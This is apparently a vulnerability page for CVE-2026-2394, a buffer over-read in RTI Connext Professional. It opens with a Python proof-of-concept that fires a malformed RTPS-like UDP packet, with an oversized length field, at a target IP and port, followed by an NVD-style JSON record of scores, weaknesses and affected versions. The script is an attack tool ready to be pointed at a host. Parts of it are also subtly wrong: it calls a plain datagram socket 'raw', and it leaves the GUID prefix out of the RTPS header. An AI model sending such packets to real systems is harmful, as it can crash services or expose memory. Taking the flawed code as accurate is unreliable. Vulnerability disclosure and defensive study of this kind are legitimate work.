CVE-2026-2394

# Proof of Concept (PoC) for CVE-2026-2394 # This script attempts to trigger the buffer over-read by sending a malformed packet. # Note: This is a conceptual demonstration and requires a vulnerable RTI Connext instance. import socket import struct def send_malformed_packet(target_ip, target_port): # Create a raw socket (requires root/admin privileges) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except socket.error as msg: print(f"Socket creation failed: {msg}") return # Construct a malformed RTPS-like header # In a real scenario, specific magic bytes and header info would be required # to reach the vulnerable parsing logic. # Here we simulate a packet with a length field larger than the actual payload. magic_header = b'\x52\x54\x50\x53' # RTPS magic protocol_version = b'\x02\x01' # Version 2.1 vendor_id = b'\x01\x01' # RTI Vendor ID # Malformed submessage header indicating a large data size # but providing a small buffer, triggering the over-read. submessage_id = b'\x15' # Example submessage ID flags = b'\x01' # Length field set to 0xFFFF (max size) while actual data is minimal length_field = struct.pack('>H', 0xFFFF) payload = b'A' * 10 # Minimal payload packet = magic_header + protocol_version + vendor_id + submessage_id + flags + length_field + payload print(f"Sending malformed packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) print("Packet sent.") sock.close() if __name__ == "__main__": TARGET_IP = "192.168.1.100" # Replace with target IP TARGET_PORT = 7400 # Replace with target discovery port send_malformed_packet(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-2394", "sourceIdentifier": "3f572a00-62e2-4423-959a-7ea25eff1638", "published": "2026-04-01T01:16:40.990", "lastModified": "2026-04-14T18:00:20.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Over-read vulnerability in RTI Connext Professional (Core Libraries) allows Overread Buffers.This issue affects Connext Professional: from 7.4.0 before 7.7.0, from 7.0.0 before 7.3.1.1, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 4.3x before 5.2.*."}, {"lang": "es", "value": "Vulnerabilidad de lectura excesiva de búfer en RTI Connext Professional (Core Libraries) permite la lectura excesiva de búferes. Este problema afecta a Connext Professional: desde 7.4.0 antes de 7.7.0, desde 7.0.0 antes de 7.3.1.1, desde 6.1.0 antes de 6.1.*, desde 6.0.0 antes de 6.0.*, desde 5.3.0 antes de 5.3.*, desde 4.3x antes de 5.2.*."}], "metrics": {"cvssMetricV40": [{"source": "3f572a00-62e2-4423-959a-7ea25eff1638", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "3f572a00-62e2-4423-959a-7ea25eff1638", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndIncluding": "5.2.3", "matchCriteriaId": "1D94CB04-B781-49BA-AD24-F7FBAB83C897"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3.0", "versionEndIncluding": "5.3.1.45", "matchCriteriaId": "F8B1FE0A-A2E0-45AA-9ED2-CED9BDA02047"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndIncluding": "6.0.1.40", "matchCriteriaId": "8369CEAE-4767-4910-AD55-3C6E8898EE5F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0", "versionEndIncluding": "6.1.2.27", "matchCriteriaId": "2042782E-93AB-4D92-9DB0-3377557B5B46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.3.1.1", "matchCriteriaId": "9F77FCD6-D5AC-46DF-99BF-D9E30919B5E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rti:connext_professional:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.7.0", "matchCriteriaId": "DF87EB0F-A1CD-40D1-96F0-53D964E34BFC"}]}]}], "references": [{"url": "https://www.rti.com/vulnerabilities/#cve-2026-2394", "source": "3f572a00-62e2-4423-959a-7ea25eff1638", "tags": ["Vendor Advisory"]}]}}